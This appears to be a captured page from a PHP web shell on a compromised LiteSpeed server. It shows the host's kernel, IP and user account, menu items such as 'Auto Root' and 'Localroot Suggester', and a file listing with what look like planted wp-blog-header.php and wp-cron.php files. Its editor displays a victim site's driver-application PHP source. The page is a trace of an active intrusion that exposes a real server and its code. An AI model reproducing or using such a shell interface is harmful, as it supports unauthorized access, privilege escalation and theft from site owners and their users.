Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
new.ads /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
steps
[ DIR ]
drwxr-xr-x
2025-11-13 19:19
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
application.php
15.46
KB
-rw-r--r--
2025-11-13 19:26
dashboard.php
17.55
KB
-rw-r--r--
2025-11-13 20:04
new-application.php
10.31
KB
-rw-r--r--
2025-11-13 22:10
payment.php
13.31
KB
-rw-r--r--
2025-11-13 21:38
payments.php
16.12
KB
-rw-r--r--
2025-11-13 19:27
profile.php
14.19
KB
-rw-r--r--
2025-11-13 21:56
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../config.php'; require_once '../database.php'; require_once '../libs/functions.php'; require_once '../libs/email.php'; requireLogin(); $user_id = $_SESSION['user_id']; // Check if user already has an application $existingApp = $db->fetch("SELECT id FROM applications WHERE user_id = ?", [$user_id]); if ($existingApp) { setFlashMessage('error', 'You already have an application submitted.'); redirect(SITE_URL . '/user/dashboard.php'); } $error = ''; $success = ''; $currentStep = isset($_GET['step']) ? (int)$_GET['step'] : 1; // Validate step access if ($currentStep > 1) { // Check if previous steps are completed if ($currentStep >= 2 && empty($_SESSION['application_step1'])) { $currentStep = 1; } elseif ($currentStep >= 3 && empty($_SESSION['application_step2'])) { $currentStep = 2; } elseif ($currentStep >= 4 && (empty($_SESSION['application_step1']) || empty($_SESSION['application_step2']) || empty($_SESSION['application_step3']))) { // For step 4, check if all previous steps are completed if (empty($_SESSION['application_step3'])) { $currentStep = 3; } elseif (empty($_SESSION['application_step2'])) { $currentStep = 2; } else { $currentStep = 1; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $step = isset($_POST['step']) ? (int)$_POST['step'] : 1; if ($step === 4) { // Final submission // Get all form data from session $personalInfo = $_SESSION['application_step1'] ?? []; $vehicleInfo = $_SESSION['application_step2'] ?? []; $uploadInfo = $_SESSION['application_step3'] ?? []; if (empty($personalInfo) || empty($vehicleInfo) || empty($uploadInfo)) { $error = 'Please complete all steps before submitting.'; } else { try { // Insert application $sql = "INSERT INTO applications (user_id, full_name, father_name, age, education, address, phone, email, confirm_phone, vehicle_type, vehicle_name, vehicle_number, vehicle_picture1, vehicle_picture2, vehicle_picture3, vehicle_color, license_id, driving_experience, user_picture) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; $db->query($sql, [ $user_id, $personalInfo['full_name'], $personalInfo['father_name'], $personalInfo['age'], $personalInfo['education'], $personalInfo['address'], $personalInfo['phone'], $vehicleInfo['email'], $vehicleInfo['confirm_phone'], $vehicleInfo['vehicle_type'], $vehicleInfo['vehicle_name'], $vehicleInfo['vehicle_number'], $uploadInfo['vehicle_picture1'], $uploadInfo['vehicle_picture2'], $uploadInfo['vehicle_picture3'], $uploadInfo['vehicle_color'], $uploadInfo['license_id'], $uploadInfo['driving_experience'], $uploadInfo['user_picture'] ]); $applicationId = $db->lastInsertId(); // Send email notification try { $user = $db->fetch("SELECT full_name, email FROM users WHERE id = ?", [$user_id]); if ($user) { EmailNotification::sendApplicationSubmitted($user['email'], $user['full_name'], $applicationId); } } catch (Exception $e) { error_log('Email notification error: ' . $e->getMessage()); } // Clear session data unset($_SESSION['application_step1']); unset($_SESSION['application_step2']); unset($_SESSION['application_step3']); setFlashMessage('success', 'Application submitted successfully! You will receive an email notification once reviewed.'); redirect(SITE_URL . '/user/dashboard.php'); } catch (Exception $e) { $error = 'Failed to submit application. Please try again.'; } } } else { // Process step data $stepData = []; switch ($step) { case 1: $stepData = [ 'full_name' => sanitize($_POST['full_name'] ?? ''), 'father_name' => sanitize($_POST['father_name'] ?? ''), 'age' => (int)($_POST['age'] ?? 0), 'education' => sanitize($_POST['education'] ?? ''), 'address' => sanitize($_POST['address'] ?? ''), 'phone' => sanitize($_POST['phone'] ?? '') ]; $_SESSION['application_step1'] = $stepData; // Redirect to step 2 redirect(SITE_URL . '/user/new-application.php?step=2'); break; case 2: $stepData = [ 'email' => sanitize($_POST['email'] ?? ''), 'confirm_phone' => sanitize($_POST['confirm_phone'] ?? ''), 'vehicle_type' => sanitize($_POST['vehicle_type'] ?? ''), 'vehicle_name' => sanitize($_POST['vehicle_name'] ?? ''), 'vehicle_number' => sanitize($_POST['vehicle_number'] ?? '') ]; $_SESSION['application_step2'] = $stepData; // Redirect to step 3 redirect(SITE_URL . '/user/new-application.php?step=3'); break; case 3: // Handle file uploads $uploadData = []; // Upload vehicle pictures for ($i = 1; $i <= 3; $i++) { if (isset($_FILES["vehicle_picture$i"])) { $result = uploadFile($_FILES["vehicle_picture$i"], UPLOAD_PATH . 'vehicles/'); if ($result['success']) { $uploadData["vehicle_picture$i"] = $result['filename']; } else { $error = "Failed to upload vehicle picture $i: " . $result['message']; break; } } } // Upload user picture if (empty($error) && isset($_FILES['user_picture'])) { $result = uploadFile($_FILES['user_picture'], UPLOAD_PATH . 'users/'); if ($result['success']) { $uploadData['user_picture'] = $result['filename']; } else { $error = 'Failed to upload user picture: ' . $result['message']; } } if (empty($error)) { $uploadData['vehicle_color'] = sanitize($_POST['vehicle_color'] ?? ''); $uploadData['license_id'] = sanitize($_POST['license_id'] ?? ''); $uploadData['driving_experience'] = sanitize($_POST['driving_experience'] ?? ''); $_SESSION['application_step3'] = $uploadData; // Redirect to step 4 redirect(SITE_URL . '/user/new-application.php?step=4'); } break; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>New Application - <?php echo SITE_NAME; ?></title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> <link href="../assets/css/style.css" rel="stylesheet"> </head> <body> <!-- Navigation --> <nav class="navbar navbar-expand-lg navbar-light"> <div class="container"> <a class="navbar-brand" href="../index.php"> <i class="fas fa-car me-2"></i><?php echo SITE_NAME; ?> </a> <div class="navbar-nav ms-auto"> <a class="nav-link" href="dashboard.php"> <i class="fas fa-arrow-left me-1"></i>Back to Dashboard </a> </div> </div> </nav> <div class="container mt-4"> <!-- Step Indicator --> <div class="step-indicator mb-4"> <div class="step <?php echo $currentStep >= 1 ? 'completed' : ''; ?> <?php echo $currentStep === 1 ? 'active' : ''; ?>"> <div class="step-number">1</div> <div class="step-title">Personal Info</div> </div> <div class="step <?php echo $currentStep >= 2 ? 'completed' : ''; ?> <?php echo $currentStep === 2 ? 'active' : ''; ?>"> <div class="step-number">2</div> <div class="step-title">Vehicle Info</div> </div> <div class="step <?php echo $currentStep >= 3 ? 'completed' : ''; ?> <?php echo $currentStep === 3 ? 'active' : ''; ?>"> <div class="step-number">3</div> <div class="step-title">Upload Documents</div> </div> <div class="step <?php echo $currentStep >= 4 ? 'completed' : ''; ?> <?php echo $currentStep === 4 ? 'active' : ''; ?>"> <div class="step-number">4</div> <div class="step-title">Review & Submit</div> </div> </div> <?php if ($error): ?> <div class="alert alert-danger"> <i class="fas fa-exclamation-circle me-2"></i><?php echo $error; ?> </div> <?php endif; ?> <!-- Step Content --> <div class="card border-0 shadow-sm"> <div class="card-body p-4"> <?php include "steps/step-$currentStep.php"; ?> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> <script src="../assets/js/main.js"></script> </body> </html>